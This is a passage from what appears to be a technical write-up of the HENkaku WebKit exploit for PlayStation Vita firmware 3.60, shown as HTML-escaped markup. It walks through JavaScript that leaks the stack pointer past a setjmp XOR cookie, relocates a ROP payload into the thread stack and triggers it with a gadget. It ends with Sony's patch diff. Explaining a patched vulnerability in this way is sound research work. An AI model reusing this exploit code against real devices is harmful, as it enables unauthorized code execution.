&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vtidx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;backup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Unfortunately, if we look at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setjmp&lt;/code&gt; implementation in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SceLibc&lt;/code&gt;, we get hit with yet another exploit mitigation:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ROM:81114070 setjmp
ROM:81114070                 PUSH            {R0,LR}
ROM:81114072                 BL              sub_81103DF2 // Returns a high-quality random cookie
ROM:81114076                 POP             {R1,R2}
ROM:81114078                 MOV             LR, R2
ROM:8111407A                 MOV             R3, SP
ROM:8111407C                 STMIA.W         R1!, {R4-R11}
ROM:81114080                 EORS            R2, R0 // LR is XOR'ed with a cookie
ROM:81114082                 EORS            R0, R3 // SP is XOR'ed with the same cookie
ROM:81114084                 STMIA           R1!, {R0,R2}
ROM:81114086                 VSTMIA          R1!, {D8-D15}
ROM:8111408A                 VMRS            R2, FPSCR
ROM:8111408E                 STMIA           R1!, {R2}
ROM:81114090                 MOV.W           R0, #0
ROM:81114094                 BX              LR
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The important part in pseudocode is:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;stored_LR = LR ^ cookie
stored_SP = SP ^ cookie
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’m sure you can see where this is going. We already know &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SceWebKit_base&lt;/code&gt;, so we know the &lt;em&gt;actual&lt;/em&gt; value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LR&lt;/code&gt;. Using some simple math:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cookie = stored_LR ^ LR
SP = stored_SP ^ cookie
SP = stored_SP ^ (stored_LR ^ LR)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Or, in JavaScript:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;sp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vtidx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vtidx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SceWebKit_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x317929&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;sp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xef818&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// adjust to get SP base&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we can write our ROP payload into the thread stack and pivot to it without the application being killed!&lt;/p&gt;

&lt;h1 id=&quot;finally-code-execution&quot;&gt;Finally, Code Execution&lt;/h1&gt;

&lt;p&gt;Remember the part about ROPtool implementing relocations. This means that we need to relocate the ROP payload before it can be executed. If you look at payload.js, this is what you will see:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2119192402&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;65537&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1912&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;// and it goes on...&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;relocs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Every number from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;relocs&lt;/code&gt; array indicates how the corresponding member of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;payload&lt;/code&gt; array should be relocated. For example, 0 means no relocation, 1 is to add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rop_data_base&lt;/code&gt;, 2 is to add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SceWebKit_base&lt;/code&gt;, 3 is to add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SceLibKernel_base&lt;/code&gt; and so on.&lt;/p&gt;

&lt;p&gt;(A roptool-generated ROP chain has two sections: code and data. code is just the ROP stack. data is stuff like strings or buffers that we use in the actual kernel exploit. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rop_data_base&lt;/code&gt; is vaddr of data. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rop_code_base&lt;/code&gt; is vaddr of code.)&lt;/p&gt;

&lt;p&gt;The next loop relocates the payload straight into the thread stack:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// relocate the payload&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;rop_data_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x40&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;rop_code_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Since relocs are applied to the whole rop binary, not just code/data sections, we replicate&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// this behavior here. However, we split it into data section (placed at the top of the stack)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// and code section (placed at stack + some big offset)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rop_header_and_data_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rop_code_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;relocs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rop_data_base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;cm&quot;&gt;/*
		skipped most relocs
	*/&lt;/span&gt;
	&lt;span class=&quot;nl&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;wtf?&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;relocs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this loop we split the payload into two parts: code and data sections. We don’t want the code to touch the data because if the code is located right after the data (which is the case for roptool-generated ROP chains), when a function is called, it might damage a part of the data section. Remember that the ROP chain is executed from “top” to “bottom” and the stack (usually, and is the case on Vita) grows from “bottom” to “top”.&lt;/p&gt;

&lt;p&gt;Once we’re done relocating the data section: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if (i == rop_header_and_data_size)&lt;/code&gt;, we switch to relocating the code section: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;addr = rop_code_base / 4&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/wk360-relocate-rop.svg&quot; alt=&quot;How the ROP chain looks like before/after relocating&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On the left is how the ROP chain looks like while it’s stored in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;payload&lt;/code&gt; array. On the right is how the ROP chain is written into the stack.&lt;/p&gt;

&lt;p&gt;Finally, let’s trigger the ROP chain:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// 54c8: e891a916 ldm r1, {r1, r2, r4, r8, fp, sp, pc}&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;some_space&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x4e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;SceWebKit_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x54c8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ldm_data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;some_space&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ldm_data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;rop_code_base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;              &lt;span class=&quot;c1&quot;&gt;// sp&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ldm_data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;SceWebKit_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xc048a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// pc = pop {pc}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// This alert() is used to distinguish between the webkit exploit fail&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// and second stage exploit fail&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// - If you don't see it, the webkit exploit failed&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// - If you see it and then the browser crashes, the second stage failed&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Welcome to HENkaku!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;corrupted_textarea&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;scrollLeft&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ldm_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;// trigger ropchain, r1=arg&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// You won't see this alert() unless something went terribly wrong&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;that's it&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;corrupted_textarea.scrollLeft = ldm_data&lt;/code&gt; is done, our LDM gadget will get called. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;R1&lt;/code&gt; will be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ldm_data&lt;/code&gt;, so it will load &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SP = rop_code_base&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PC = pop {pc}&lt;/code&gt; from this buffer and as such will kick off the ROP chain!&lt;/p&gt;

&lt;h1 id=&quot;bonus-how-sony-patched-it&quot;&gt;Bonus: How Sony patched it&lt;/h1&gt;

&lt;p&gt;Sony regularly uploads new source code of their WebKit version, as required by LGPL, to this &lt;a href=&quot;http://doc.dl.playstation.net/doc/psvita-oss/webkit.html&quot;&gt;page&lt;/a&gt;. (Unless they don’t, in which case a friendly poke over email helps.)&lt;/p&gt;

&lt;p&gt;Diffing the source code between 3.60 and 3.61 reveals the following (useless stuff omitted):&lt;/p&gt;

&lt;div class=&quot;language-diff highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gh&quot;&gt;diff -r 360/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp 361/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;1087,1096c1087,1123
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;-     }
- };
- 
- 
- template&amp;lt;IndexingType indexingType, typename StorageType&amp;gt;
- void JSArray::sortCompactedVector(ExecState* exec, ContiguousData&amp;lt;StorageType&amp;gt; data, unsigned relevantLength)
- {
-     if (!relevantLength)
-         return;
-     
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+     }
+ };
+ 
+ template &amp;lt;&amp;gt;
+ ContiguousJSValues JSArray::storage&amp;lt;ArrayWithInt32, WriteBarrier&amp;lt;Unknown&amp;gt; &amp;gt;()
+ {
+     return m_butterfly-&amp;gt;contiguousInt32();
+ }
+ 
+ template &amp;lt;&amp;gt;
+ ContiguousDoubles JSArray::storage&amp;lt;ArrayWithDouble, double&amp;gt;()
+ {
+     return m_butterfly-&amp;gt;contiguousDouble();
+ }
+ 
+ template &amp;lt;&amp;gt;
+ ContiguousJSValues JSArray::storage&amp;lt;ArrayWithContiguous, WriteBarrier&amp;lt;Unknown&amp;gt; &amp;gt;()
+ {
+     return m_butterfly-&amp;gt;contiguous();
+ }
+ 
+ template &amp;lt;&amp;gt;
+ ContiguousJSValues JSArray::storage&amp;lt;ArrayWithArrayStorage, WriteBarrier&amp;lt;Unknown&amp;gt; &amp;gt;()
+ {
+     ArrayStorage* storage = m_butterfly-&amp;gt;arrayStorage();
+     ASSERT(!storage-&amp;gt;m_sparseMap);
+     return storage-&amp;gt;vector();
+ }
+ 
+ template&amp;lt;IndexingType indexingType, typename StorageType&amp;gt;
+ void JSArray::sortCompactedVector(ExecState* exec, ContiguousData&amp;lt;StorageType&amp;gt; data, unsigned relevantLength)
+ {
+     data = storage&amp;lt;indexingType, StorageType&amp;gt;();
+ 
+     if (!relevantLength)
+         return;
+     
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;1167,1172c1194,1200
&lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;-         CRASH();
-     }
- 
-     for (size_t i = 0; i &amp;lt; relevantLength; i++)
-         ContiguousTypeAccessor&amp;lt;indexingType&amp;gt;::setWithValue(vm, this, data, i, values[i].first);
-     
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;---
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+         CRASH();
+     }
+ 
+     data = storage&amp;lt;indexingType, StorageType&amp;gt;();
+     for (size_t i = 0; i &amp;lt; relevantLength; i++)
